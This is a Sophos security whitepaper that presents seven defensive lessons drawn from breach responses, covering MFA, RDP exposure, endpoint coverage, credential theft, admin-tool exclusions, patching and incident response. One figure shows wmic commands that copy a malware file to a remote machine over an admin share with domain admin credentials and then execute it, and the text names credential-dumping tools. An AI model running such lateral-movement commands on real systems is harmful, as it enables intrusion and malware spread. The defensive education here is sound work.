

Hindsight Cybersecurity

Seven Key Lessons Learned By Breach Victims

"Insanity is doing the same thing over and over again and expecting different results"

– Albert Einstein

In all walks of life, a mistake is an opportunity to learn and to ensure the same thing never happens again. Cybersecurity is no different.

This report, written by Rob Collins, specialist systems engineer for Sophos Managed Threat Response and Rapid Response, shares seven key lessons learned by breach victims. Each lesson includes simple recommendations and tips, many of which do not require organizations to purchase any tools. Armed with these insights you will be able to better defend your organization and avoid becoming a breach victim yourself.

Contents

Hindsight #1: Enforce MFA for system administration and security consoles	3
Hindsight #2: Block public facing Remote Desktop Protocol (RDP)	4
Hindsight #3: Deploy endpoint security everywhere	5
Hindsight #4: Prevent threat actors getting (and using) your passwords	7
Hindsight #5: Exclude admin tools with a scalpel, not a sledgehammer	10
Hindsight #6: Stay ahead of the game	12
Hindsight #7: Prepare for the worst	14
How Sophos can help	17

Hindsight #1: Enforce MFA for system administration and security consoles

Multi-factor authentication (MFA) is a security measure that requires two or more proofs of identity to grant you access. In other words, you need more than just a password to be granted access. A one-time passcode, facial recognition, or a fingerprint might also be required as an additional security check.

Every admin knows the benefits of MFA for accessing business applications. They keep our Office365 and Salesforce data safe, even if an adversary obtains, guesses, buys, or brute-forces a username and password.

However, when applications moved to the cloud, the login consoles for those applications were exposed to the internet as well. System administration and security also moved to being managed 'from the cloud,' and thus also needs MFA.

MITRE ATT&CK Technique [T1078](#) ['Valid Accounts'] describes how threat actors use valid accounts to gain initial access to the network, evade defenses, obtain persistence, and escalate their privileges.

These tactics in turn allow various defenses to be bypassed, including antivirus, application control, firewalls, intrusion detection/prevention systems, and system access controls. Unauthorized use of valid accounts is very hard to detect, as they look very much like business as usual.

Valid Accounts is one of the top five techniques Sophos observed for initial access (<https://attack.mitre.org/tactics/TA0001/>) as reported in the [2021 Active Adversary Playbook](#). Some administration tools (e.g. [Solarwinds](#), [Webroot](#), [Kaseya](#), and [Connectwise](#)) have even been used to deliver malicious payloads.

What happens when a threat actor gains access to a security console? In the example below, the threat actor simply wrote their own policy and turned every security setting off.

Threat Protection (2)	
Name	Status
YOUR FILES HAS BEEN STOLEN	✓ Enforced
Base Policy - Threat Protection	✓ Enforced

Even on-premises security administration systems should still use MFA if possible – life is easier for an adversary if they can just turn off your security solutions before deploying their malware. If you use a VPN to access the network, we highly recommend enabling MFA on that too.

Enabling MFA for your system administration and security tools achieves three goals:

- Reduces risk of access by unauthorized persons
- Generates alerts for attempted access, allowing an admin to block future attempts as needed
- Prevents account sharing, ensuring accurate audit trails that can tie behavior to a specific user

Enabling MFA often costs nothing more than your time. If you've been ignoring giant 'Enable MFA' banners on your consoles, it's past time to take that action. If your security vendor doesn't offer MFA options, it's time to ask why not?

Hindsight #2: Block public facing Remote Desktop Protocol (RDP)

Remote Desktop Protocol (also known as Terminal Services or Remote Desktop Service) allows someone to remotely connect to another computer, providing the same user experience as if being physically present.

According to our [2021 Active Adversary Playbook](#), Microsoft's built-in RDP was used to access organizations from the Internet in 32% of attacks, rating it the number one method used for initial access.

Unlike some other remote access tools, RDP does not usually require anything more than a username and password, and often the username is left exposed (you know, to make it easier to log in the next time). RDP has even suffered from vulnerabilities over time that [allow access with no credentials](#) at all.

Misuse of RDP falls into a few different MITRE ATT&CK techniques, but the main one would be [T1133](#) (External Remote Services). Other MITRE ATT&CK techniques involving RDP include:

- [T1563](#) – RDP Hijacking
- [T1021](#) – Lateral Movement using RDP
- [T1572](#) – Tunneling over RDP
- [T1573](#) – Command and Control over RDP
- [T1078](#) – Using Valid Accounts with RDP
- [T1049](#) – System Network Connections Discovery
- [T1071](#) – Application Layer Protocol

Once a threat actor has successfully logged on to an RDP session, it is about as close as they can get to literally sitting in front of the keyboard and mouse, and not even the most physically secure data center in the world can help.

Externally exposed RDP has a simple fix – just don't expose it. Don't forward port TCP:3389 on your firewall to anything. And don't think that using a different port helps – I see you, twelve thousand RDPs on port 3388!

While the cure sounds simple, Shodan.IO (a search engine for the Internet of Things) shows over 3.3 million RDP port 3389 exposed globally and easily found. Why is it so popular? Allowing access to RDP is a quick and easy way to allow someone to provide remote system administration, such as for a managed services provider to manage a customer's server, or a dentist to access their office system from home.

If remote access to RDP or terminal services is required, it should only be made accessible through a secure virtual private network (VPN) connection (with MFA) to the corporate network or through a zero-trust remote access gateway.

Hindsight #3: Deploy endpoint security everywhere

There is a thinking in parts of the IT world that there are some systems that simply don't need endpoint security. Maybe they are air-gapped or have no internet access. Maybe they are development systems or have nothing important running on them. I've even come across organizations that were happy to let their endpoint security subscriptions lapse – they didn't think it was adding any value.

The mindset comes from a long history (in the InfoTech world anyway) of endpoint security being designed to stop a piece of malware, should it somehow land on that system. So, if the system was isolated, easily restored, unimportant or "we're always really careful" then protection wasn't required.


Some consider user workstations/laptops as less important than servers, so only protect servers. In reality, according to the Sophos 2021 Active Adversary Playbook, **54% of attacks involved unprotected systems**.

Both endpoint security and the way attacks work have changed dramatically in recent times. Threat actors have developed sophisticated 'living off the land' tactics where they use your own administration tools (e.g. PowerShell), scripting environments (e.g. JavaScript), system settings (e.g. Scheduled Tasks and Group Policy), network services (e.g. SMB and Admin Shares and WMI) and valid applications (like TeamViewer, AnyDesk or ScreenConnect) to avoid having to use actual malware to achieve their goals. What were considered nation state and advanced persistent threat (APT) techniques are now used by even the most unsophisticated threat actors.

The adversaries' goal, however, is still largely the same: to make money. This could be by deploying ransomware (often following data exfiltration and backup deletion to make paying the ransom more compelling), cryptocurrency mining, obtaining personally identifiable information (PII) to sell, or industrial espionage.

In response, endpoint security has evolved and now detects and prevents malicious behaviors while providing detailed visibility, context and threat hunting tools. This evolution of protection is wasted if not deployed.

Unprotected systems are blind spots.



An unprotected system with internet access can be a secret gateway to your internal critical assets.

Systems with no direct internet access need protection

So how can a threat actor attack an unprotected system that has no direct internet access?

They typically launch attacks from a system that is connected as an intermediary using a trojan or stager over a Command and Control channel on port 443 [hard to identify anomalous encrypted traffic]. Whether it's a server or user system is not so important – they all run a similar set of core capabilities. The adversary can then access your systems in the same way that you would.

Let's make a list of techniques available to attack a system over the LAN (links to MITRE ATT&CK):

- [T1047](#) - Windows Management Instrumentation
- [1](#) - Remote Desktop Protocol
- [2](#) - Administration Shares
- [3](#) - Distributed Component Object Model
- [4](#) - Secure Shell (SSH)
- [6](#) - Windows Remote Management
- [5](#) - VNC, ScreenConnect, TeamViewer or other third-party remote management tools



```
Command Prompt
C:\Users\Bob>wmic /node:"192.0.2.27" /user:"ABCCo\DomainAdmin" /password:"MySecret123" process call
create "cmd.exe /c copy \\192.0.2.10\c$\windows\temp\malware.exe c:\windows\temp\"
C:\Users\Bob>wmic /node:"192.0.2.27" /user:"ABCCo\DomainAdmin" /password:"MySecret123" process call
create "cmd.exe /c c:\windows\temp\malware.exe"
```

Simple Commands to use WMI to move malware to another device, and run it

With so many options available to threat actors, we need the visibility and protection provided by **deploying endpoint protection on every possible system, even those without direct internet access**. While the activity on the intermediary system may look benign (e.g. making an RDP connection), the results on the unprotected system can be catastrophic.

Removing your blind spots through deploying endpoint protection everywhere means attackers have fewer places to hide. This is important because if adversaries can hide on your systems they can remain undetected for days, weeks, or even months, quietly gathering intelligence about your environment, users, networks, applications and data. They will find your End of Life systems, Linux servers, hypervisors, and neglected and unpatched applications and then keep digging until they are ready for the final assault.

Most of the time, their standard operating procedure is to disable the endpoint security (which they can do because they have obtained elevated, or even system level, privileges), exfiltrate and then delete backups, and deploy the ransomware-as-a-service of choice.

Sophos Rapid Response was [recently brought in to deal with](#) an incident that involved an unprotected system. This case is a prime example of why, with hindsight, endpoint protection should have been deployed everywhere.

Hindsight #4: Prevent threat actors getting (and using) your passwords

According to the Sophos Active Adversary Playbook 2021, the use of valid accounts (via a user name and password) featured in the top five techniques for initial access in breaches (MITRE ATT&CK Technique T1078). While valid credentials feature heavily in the initial access stage, they can obviously be used throughout the attack chain, including persistence, privilege escalation and defense evasion.

A challenging issue

Adversary use of valid accounts is particularly challenging for cybersecurity professionals. It is extremely difficult to identify unauthorized use of valid accounts among all the legitimate use, and credentials can be obtained in many different ways. A valid account can have varying levels of authorization within an organization, from a basic user right up to domain administrator privileges.

A further complication is that you may set up testing accounts, service accounts for non-human access, APIs, accounts for third parties to access your systems (e.g. an outsourced helpdesk), or have equipment with hardcoded credentials.

We know people use their organization credentials with unrelated online services, and most use an email address in place of the username, extending the threat exposure. Password re-use is commonplace, so once one is obtained, it provides the key to many other doors. The COVID-19 pandemic saw organizations quickly pivot to allowing remote access for all, further exposing the attack surface to unauthorized use of VPNs and remote access tools.

How do threat actors get our credentials?

The list of ways is extensive, but let's explore a few. While the adversaries' end goal is to obtain the highest level of privilege needed to achieve their objectives (e.g. disable security, exfiltrate data, delete backups and deploy ransomware), they wouldn't expect to get domain administrator accounts via a phishing email, so they start with easier targets and work upwards.

External methods including phishing (T1598), brute force (T1110), social engineering (could be as simple as someone pretending to be from a trusted IT provider and asking for an account to be created – T1593.1) and SQL injection (T1190) are sometimes aggregated into Compilations of Many Breaches (COMB) and made available for a fee or even free.

Opportunists attempt to match the credentials obtained to your external access methods (RDP – see Hindsight #2, VPN, FTP, Terminal Services, CPanel, remote access tools like TeamViewer, cloud services like O365 or security consoles) in a technique known as credential stuffing to see if anything works. Since users can't be expected to remember more than a few passwords, it is common for credentials to be re-used and usernames can often be derived based on email address formats. It is for this reason that multi-factor authentication (MFA/2FA) is important on all external-to-internal access [see Hindsight #1]. Once a set of credentials is successfully paired with a remote access method, the threat actor can become a valid user, hiding in your organization.



With a valid set of credentials and access, the threat actor might look like any other employee

Before I move on to privilege escalation methods, it is important to note that other access methods exist that don't require credentials. Exploits [T1212] or default passwords [T1078.1] in VPN concentrators, Exchange, firewalls/routers, webservers and SQL injection have all been utilized to gain a foothold. Drive-by-downloads can also be used to establish a backdoor [T1189]. Once inside, basic user accounts still have sufficient access to carry out various reconnaissance techniques and map out a way to pivot to more privileged access or creating accounts to maintain access.

As a threat actor, I want to try and avoid using any tools that might put up a red flag initially, so I might simply:

- Discover information about the system and the surrounding environment using simply commands like 'whoami' and 'ipconfig' [T1016]
- Search the device I'm on (and any mapped drives) for files with 'passwords' in the name or contents [T1552.1]
- Search LDAP to see what other accounts might be interesting [T1087.2]
- Search the Windows registry [T1552.2] for stored credentials
- Search web cookies for stored credentials [T1539]
- Drop a PowerShell-based command and control tool, so I can get back in even if you do change a password or patch your exploit [T1059.1]
- Discover what programs are installed – remote access tools and admin tools like PSEXec and PSKill can be super useful if they already exist [T1592.2]

Next, and only if needed, the threat actor might move on to installing and/or using 'potentially unwanted programs.' The above mentioned PSEXec and PSKill are official Microsoft admin tools, but have plenty of other uses. IOBit, GMER, Process Hacker, AutoIT, Nirxcmd, port scanners, and packet sniffers have all been used in breaches we've worked on. The goal of these tools is to cripple any endpoint security solutions, so the threat actor can move onto the next step where they use tools that probably would raise the red flag.

Popular tools for finding higher privilege accounts include Mimikatz, IcedID, PowerSploit and Cobalt Strike. Trickbot was an old favorite too. They contain sophisticated abilities to capture, interpret, export, and manipulate the very pieces of information that networks use to authenticate users (e.g. Kerberos). While the data is encrypted to some extent, this has proven to be just an inconvenient speed bump for skilled attackers. The encrypted token representing the valid account can often be passed and accepted over the network,

known as pass-the-hash [T1550.2] and pass-the-ticket [T1550.3] techniques. Vast tables of passwords and what their encrypted versions would look like are used to quickly match an encrypted password with the clear text version [T1110.2]. Keylogging tools may be used to capture the keyboard strokes on a device the next time someone logs in. Certain vulnerabilities have been found that allow access to credentials, even without any administration rights, such as HiveNightmare/SeriousSam and PrintNightmare. And if all that wasn't bad enough, there are easily available toolkits like LaZagne that do it all for you, even retrieving passwords stored in browsers, Instant Messaging software, databases, games, email and WiFi.

Using valid credentials

Valid credentials, especially with administration rights, have a few significant uses. They can be used across an organization to change group policy [T1484.1], disable security tools [T1562.1], delete accounts, and create new ones. Data can be exfiltrated and then sold, used for extortion or for industrial espionage. They may be used for impersonation and business email compromise attacks with a high level of authenticity. But most often, they are just a great way to distribute and run whatever ransomware-as-a-service is popular on the day. And if that fails, we have seen adversaries just use the valid account to activate BitLocker (or shift the key).

Protecting your organization

The problem is serious, the consequences are real, but the solutions are well known and addressed through people, process, and technology. Cybersecurity employee training usually focuses on the people:

- How to spot a phishing email
- Not re-using passwords – password management tools can help with this
- Not using work passwords for personal accounts
- Password complexity requirements
- Avoiding dubious websites

In terms of process and technology

- Multi-factor authentication should be used as widely as possible
- The external attack surface should be as small as possible and kept up to date
- Keep the number of highest-level accounts to a minimum. Let's just say that eight domain administrators is too many...
- Restrict use of local administration rights
- Service account hygiene – remove un-used service and testing accounts
- Control and monitor the use of powerful admin tools and potentially unwanted programs
- Monitor for unexpected logins (e.g. geography and time)

Hindsight #5: Exclude admin tools with a scalpel, not a sledgehammer

As noted in the Sophos [Active Adversary Playbook 2021](#), adversaries are turning to tools that are commonly used by IT administrators and security professionals, making it harder to identify suspicious actions. Many of these tools are detected by security products as 'potentially unwanted applications' (or PUAs/PUPs/RiskWare/RiskTool) and are needed for everyday use by IT teams. Defenders need to ask two important questions: [1] Do all my users need to be able to use these utilities? [2] Do these utilities need to be able to run on every device?

What is a PUA?

Let's dig into what a potentially unwanted application (PUA) is, and how best to use them safely. The administration tools that are bundled with an operating system, like PowerShell, provide ways to automate and manage devices across a network. There are also additional and third-party tools that are frequently used to extend functionality such as port scanning, packet captures, scripting, monitoring, security tools, compression and archiving, encryption, debugging, penetration testing, network administration, and remote access. Most of these applications run with system or root level access.

When installed and used internally by your own IT team, these applications are useful tools. When installed and used by anyone else, they are considered PUAs and are often flagged as such by reputable endpoint security solutions. To enable them to use these tools unhindered, many administrators simply add the ones they use to a Global Exclusion or Allow List in their endpoint security configuration. Unfortunately, this method of exclusion also allows the installation and use of the tools by unauthorized persons, often without any type of monitoring, alerts, or notifications.

Problematic PUAs

Some of the most common PUAs found and used by adversaries include:

- ▶ **PSEXec** – "...a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PSEXec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems."
- ▶ **PSKill** – can "kill processes on remote systems. You don't even have to install a client on the target computer to use PSKill to terminate a remote process."
- ▶ **Process Hacker** – a resource monitoring tool, that is often used to terminate security and logging software.
- ▶ **Anydesk/TeamViewer/RDPWrap** – or any tool designed for remote access, especially over the internet, can be used by a threat actor.
- ▶ **GMER** – built as an anti-rootkit tool, threat actors leverage its capabilities to 'unhook' security process.
- ▶ **7Zip/GZip/WinRAR** – Compression tools are used by adversaries to combine, shrink and exfiltrate your data – usually for extortion.
- ▶ **Nirsoft tools** – a collection of tools for password recovery, software uninstallation, and the ability run command-line tools without displaying a user interface.
- ▶ **IOBit** – has powerful uninstallation capabilities and is often used to remove security software.
- ▶ **ProcDump** – a debugging tool that can dump memory to disk, allowing a threat actor to expose in-memory data, such as credentials.

Threat actor usage of PUAs

Configuring security policy to allow PUAs needs to be handled carefully. Excluding anything will expose the tools to your IT administrators and threat actors alike, and you'll have no visibility into the use of the tool, or the intent or context.

If a tool has been excluded, a threat actor can still attempt to install and use it even if it's not already installed on a particular device. The set of adversarial techniques known as "living off the land" involve threat actors using pre-existing features and tools to avoid detection for as long as possible. They allow threat actors to carry out discovery, credential access, privilege escalation, defense evasion, persistence, lateral movement, collection, and exfiltration without a single red flag being raised.

By the time the adversary is ready to deploy the last stage of the attack, impact (for example, the ransomware payload), it is too late. Your security tools have already been disabled (by PSKill or IOBit?), a high level of credential access has been obtained (by GMER or ProcDump?), your data has already been transferred to the dark web (in 7Zip files?) and the malware pre-positioned on key systems (or worse, domain-level file shares like SYSVOL or NETLOGON) ready for execution (by PSEXEC?). The more PUAs the attackers can find, the greater the attack surface they have to work with.

Allowing PUAs in your organization

The first step is to review your current global exclusions. Do they need to be there? Is there a reason cited for the exclusion – or has it just 'always been there'? Conduct some research in to why the security product detected the PUA in the first place – could be it be used maliciously? Do the exclusions really need to apply to ALL servers and end user devices? Is the admin tool still required, or can we use a built-in function? Do you need more than one tool to achieve the same outcome?

Our recommendation is to allow PUAs on a very controlled basis – specific application, specific machines, specific times, and specific users. This can be achieved via a policy with the required exclusion, which is applied and then removed as needed. Any detected usage of PUAs which is not expected should be investigated as it may indicate that a threat actor has access to your environment.

Hindsight #6: Stay ahead of the game

The cybersecurity world is incredibly dynamic and plays out like a giant game of chess across the world, with moves, countermoves, and an ever-changing set of players. If you have any kind of information technology in your organization, you have no choice but to play the game too. But the game is not stacked in your favor. Your opponents operate at all hours of the day, every day of the year. They can be anywhere in the world, hide their moves, and are forever looking for weaknesses in your defense; and will even [use your own pieces against you](#).

What this means in the real world is that your cyber defense capabilities need to operate at all hours of every day as well. You need to find your own weaknesses and shore them up before an adversary finds them. You also need to be aware of what the adversary might do if they do find a weakness.

Patching

While operating system and application patching are important ongoing concerns, patching your public facing systems is mission critical. According to the Sophos [Active Adversary Playbook 2021](#), exploitation of public facing applications is one of the top five techniques used to gain initial access during a breach. High profile recent examples include Microsoft Exchange exploits ProxyLogon (aka Hafnium) and ProxyShell, and a [Confluence vulnerability](#) that was exploited within a week of disclosure over the U.S. Labor Day holiday weekend. VPN solutions from several major players have also been exploited this year. WordPress, the application behind many websites, is a constant victim of [exploitation](#).

The only real solution is to have a solid inventory of your public facing systems, monitor those systems for vulnerability disclosures, and patch them as soon as practical. Don't wait for news of an exploit, or a vendor to create a Common Vulnerability and Exposure (CVE) notification. Microsoft provided patches for Exchange in April and May 2021 against ProxyShell, but [notoriously did not disclose the vulnerabilities until July 13](#), leading many to believe the patches were not important.

Threat landscape

Keeping abreast of the latest threat actor tactics, techniques, and procedures is an important part of your defense. Know thy enemy. If you see a story about the credentials of 500,000 VPN users being leaked on the dark web, and you use the same VPN technology, look into it. If you read about Exchange being exploited for ransomware deployment, and you run an Exchange server, investigate further.

Some suggested resources are listed below:

- ▶ <https://www.bleepingcomputer.com>
- ▶ <https://us-cert.cisa.gov>
- ▶ <https://www.ncsc.gov.uk/section/keep-up-to-date/reports-advisories>
- ▶ <https://www.cyber.gov.au>
- ▶ <https://news.sophos.com>
- ▶ <https://nakedsecurity.sophos.com>

Shadow IT

It is not unusual for the 'business' side of an organization to go around IT and implement a solution on their own, known as "shadow IT." They may want to avoid scrutiny or fast-track a project, or it may be that IT said 'no' so they are looking to find another way. Even though the shadow IT solution wasn't sanctioned, this doesn't mean it can be ignored. **Either ensure it is fully siloed or bring it back under control.** Working closely with the business to find successful solutions helps prevent shadow IT, but you also need to monitor for new systems and applications that could leave you exposed.

Constant situational awareness

You might be very comfortable with your security posture today. But it only takes one [compromised account](#), an innocent firewall change, or a zero-day exploit to allow a threat actor in. And even though the adversary might find this access during your business hours, they will wait it out and utilize it when your guard is down. A recent [security advisory from the FBI and CISA](#), warned organizations that attack risks are greater on holidays and weekends, citing high profile breaches of Colonial Pipeline, JBS, and Kaseya as examples. As noted above, Confluence was exploited at the start of the Labor Day holiday weekend in the U.S.

We recommend organizations look into a [managed service](#) capable of handling a breach for you at 2 a.m. on the Saturday of a long weekend. One that has global situation awareness, and can translate that into improving the risk posture of your organization. Ensure you select a provider that can take action, not just notify you – unless you want to do the hands-on-keyboard defense (and have the expertise to do so) while trying to enjoy some time away from the office.

Hindsight #7: Prepare for the worst

Previously, we have focused on the prevention side of learning from other victims. This section aims to assist with what do to if you are the unlucky victim of a breach. We'll focus on how to minimize damage and maximize learning from your own experiences. Although I focus on ransomware, many of the recommendations apply to other types of breach, such as coinminer infestations and industrial espionage.

Have a plan

An incident response (IR) plan is a great way to **map out the actions you need to take in the event of a breach**. How serious is the incident? Where are the critical systems and how to isolate them? How to communicate and with whom? Who to contact and which actions to take? What about the backups? Keep your IR plan simple and high level so it's easy to follow in a highly-pressured breach situation, and focus on trusting the team to think on their feet. The [SANS Incident Handler's Handbook](#) has a great section on preparation, as does Sophos's own [Incident Response Guide](#).

Get help first

Before you even start to reimage machines or negotiate a ransom, **own the problem and seek help**. Incident response (IR) requires a specialized skill set, and most organizations don't retain incident responders on staff for an event they hope will never happen.

Plan ahead and have the contact details of a couple of IR companies at hand. I say a couple because the IR industry can reach capacity very quickly if there are frequent or large-scale attacks. If the attack is against servers and endpoints, such as a ransomware incident, I suggest you first contact your endpoint security vendor if they provide an IR service. They will likely have telemetry from your environment, and access to pre-installed tools like EDR/XDR which enables them to remediate rapidly. You may feel that the vendor has let you down but, in reality, the vast majority of breaches are due to lapses by people or process and not the technology.

Other help to consider:

- Engage local law enforcement: a crime has probably been committed and they may have resources that can help
- Contact your cybersecurity insurance provider if you have one, and put them on notice of the incident
- If you work with a technology provider or systems integrator, they may be able to provide boots-on-ground assistance with recovery, such as restoring backups

Isolate and contain

There are no hard-and-fast recommendations here other than to **isolate and contain as best you can**. This can include switching off the power, disconnecting the internet and pulling network cables out, using software-based isolation, applying deny-all firewall rules, and shutting down critical systems. If you still have a functional domain controller, try and keep it that way by shutting it down and/or disconnecting it from the network. If you have backups be sure they are isolated and off the network. Any passwords you suspect may be compromised should be changed and the accounts reset.

Incident Response services are largely delivered over the internet, so seek their guidance on bringing systems and connectivity back online. By the time you see evidence of ransomware the attack is usually in its final stages, however it is important to extricate the threat actors before restoration work begins, lest they strike again.

Don't pay the ransom

While it can look like the easy way out, paying the ransom further enables and emboldens criminals. Long gone are the days when the ransom was \$500 to unlock a machine: the [Sophos State of Ransomware Report 2021](#) reveals the average ransom paid last year by mid-sized organizations was US\$170,404. Threat actors search for your critical data, often exfiltrate it to the dark web for sale, delete your backups and then encrypt your data.

What they neglect to say when issuing their ransom demand is that you are very unlikely to get all your data back, in fact our survey revealed that only 65% of the encrypted data was restored after the ransom was paid leaving over a third inaccessible.

Ransomware, like any software, has bugs and vulnerabilities, and the human operators behind it can have [bad days too](#). While occasionally this can play to your advantage, in the main it further compounds the challenge of decrypting data. What's more, ransomware gangs can disappear overnight, only to [reappear with a new branding](#) if things go bad for them while leaving you without access to a decryption key.

Bear in mind that the legality of making ransom payments varies around the world. You would be wise to remain up to date on any limitations or restrictions in the country (or countries) in which your organization operates.

Retain evidence

Too often, we see breach victims rush to restore services as quickly as possible and in the process lose a lot of the information that would help determine the root cause and understand the extent of the breach. A great example is a ransom note. Even if you have no intention of paying or contacting the adversary, the note itself is forensically interesting. The note can tell an IR team who they are up against, and the common tactics used by that group. It might even reveal a whole new strain of ransomware and the tactics, techniques and procedures used (TTPs) by the adversary group.

Recently I saw the Lockfile note for the first time and observed how it mimicked Lockbit 2.0 but used a much more aggressive deployment strategy. This meant that we could apply valuable learnings from our Lockbit 2.0 experiences to every subsequent Lockfile attack, especially around early identification of indicators of breach (IoB). Keep the ransom note – they are usually simple text or HTML documents that can be stored elsewhere easily.

Another interesting item to retain for analysis is often the ransomware or malware sample itself. The industry standard is to add these to an archive file with the password 'virus' or 'infected' and stored somewhere safe. The password-protected .zip can usually be safely passed to analysts if needed. Malware can be reversed to discover its modus operandi, which helps responders and investigators narrow down where to look for damage.

If possible, retain system and virtual machine images as well. For extra brownie points, all forensic evidence should be stored using encryption and the SHA256 recorded at the time of collection just in case it needs to be used in court and you need to prove it has not been tampered with. Although rare, this may be required if insurance claims end up in court or you need to prove to a government body that you have not breached disclosure laws.

Attribution and retribution

In many cases, there are in fact several groups behind a ransomware attack. Group one might gain the initial access. They sell the access to group two. Group two uses the ransomware-as-a-service from group three to carry out the attack. The different groups, and group members, are often spread across many countries. Attributing the breach to any single group is difficult and won't help much during the chaos after a breach. Usually information from the ransom note and commonalities in tactics, techniques, and procedures (TTPs) will enable an experienced Incident Response team to know what and who they are up against very quickly.

Attempting retribution, known as a "Hack Back," is strongly discouraged. It is probably illegal to start with and may just make the situation worse.

The role of cyber insurance

If you experience a cyber incident that is covered by cyber insurance, a cyber claims adjuster from the insurance company will first direct the hiring of an outside legal counsel to organize both internal and external resources and coordinate activities through the resolution of the incident. For a ransomware attack, these service activities typically include:

- Establish roles and responsibilities, identify scale of impact, establish communication preference.
- Investigate and analyze active threat, stop damage, identify Indicators of Compromise (IoC).
- If needed, appoint a specialist to advise on the handling and negotiation of the ransom demand.
- If needed, appoint a specialist to advise on the nature of data access, exfiltration, and recovery; identify the lowest cost way to restore the data (ransom payment, decryption, backups etc.).
- Deploy preventative actions, remove attacker access, establish incident timeline
- Compile a final report, indicating status of environment, root cause analysis, nature of attack, and identified threat actor tactics, techniques and procedures.

While most insurance companies have a “provider panel” of product/service providers for each of the aforementioned activities, when sourcing an insurance policy it’s worth discussing upfront which activities and the corresponding providers will be covered if you experience a major cyberattack. Most cyber insurance policies will support the use of pre-existing providers but it’s best to ensure compatibility up front. Swapping out protection agents during an incident creates both additional work and security risk – often the existing solution is preventing the attack from escalating and should not be removed.

Communication

Communicating is hampered by a breach. Your email systems may be offline, electronic copies of your insurance policy and IR plan encrypted, and the threat actor might be monitoring your conversations. Be prepared for this, and have an alternate communication method, such as an instant messaging application, so you can communicate on a separate channel with your team and everyone else involved. Insurance details, IR plan, and IR firm contacts should be kept in a physical form.

Practice

Tabletop exercises are a great way to practice for a data breach or ransomware event. To add realism, conduct it at 2 a.m. on a long weekend and prevent use of the corporate email system.

Further resources

The articles below explain what to expect when you are hit with some of the more common families of ransomware. They are a great learning tool, without having to experience the pain first-hand.

- [What to expect when you’ve been hit with REvil ransomware](#)
- [What to expect when you’ve been hit with Avaddon ransomware](#)
- [What to expect when you’ve been hit with Conti ransomware](#)

How Sophos can help

While many of the recommendations in this report do not require organizations to purchase any tools, investing in next-generation cybersecurity is a sure-fire way to help protect yourself from even the most advanced threats.

24/7/365 threat hunting and response service – Sophos Managed Threat Response (MTR)

The most advanced cyberattacks are human-led and require a human-led response. Enter Sophos Managed Threat Response (MTR). This 24/7 service adds human expertise to your layered security strategy. An elite team of threat hunters proactively looks for and validates potential threats on your behalf. If authorized, they take action to disrupt, contain, and neutralize threats, and provide actionable advice to address the root causes of recurring incidents.

[Learn more about Sophos MTR](#)

Lightning-fast incident response - Sophos Rapid Response

When the worst happens, Sophos Rapid Response provides immediate help; identifying and neutralizing active threats against your organization – delivered by an expert team of incident responders. Whether it is an infection, compromise, or unauthorized access attempting to circumvent your security controls, we have seen and stopped it all.

[Learn more about Sophos Rapid Response](#)

Optimize prevention, minimize time to detect and respond – Sophos Endpoint

Sophos Intercept X endpoint protection uses multiple layers of defense to stop cyberattacks in their tracks. Anti-exploit technology stops the tactics, techniques and procedures used by attackers, deep learning blocks unknown threats before they can run, and CryptoGuard prevents the malicious encryption of files, rolling them back to their safe state.

Sophos extended detection and response (XDR) capabilities enable organizations to detect and investigate across endpoint, server, firewall, and other data. It gives you the information and contextual insights you need to act faster and more effectively.

[Learn more about Sophos Endpoint](#) | [Learn more about Sophos XDR](#)

Powerful protection and performance – Sophos Firewall

Sophos Firewall is packed with technology to help protect your organization from ever evolving cyberattacks. Sophos Firewall includes one of the best performing and most effective IPS engines on the market and provides a simple and elegant solution to lockdown your RDP servers.

Sophos Firewall offers flexible and easy segmentation tools like zones and VLANs to secure your LAN and reduce the risk of lateral movement, reducing surface area of attack and minimizing the risk and potential scope of propagation.

[Learn more about Sophos Firewall](#)

United Kingdom and Worldwide Sales
Tel: +44 (0)8447 671131
Email: sales@sophos.com

North America Sales
Toll Free: 1-866-866-2802
Email: nasales@sophos.com

Australia and New Zealand Sales
Tel: +61 2 9409 9100
Email: sales@sophos.com.au

Asia Sales
Tel: +65 62244168
Email: salesasia@sophos.com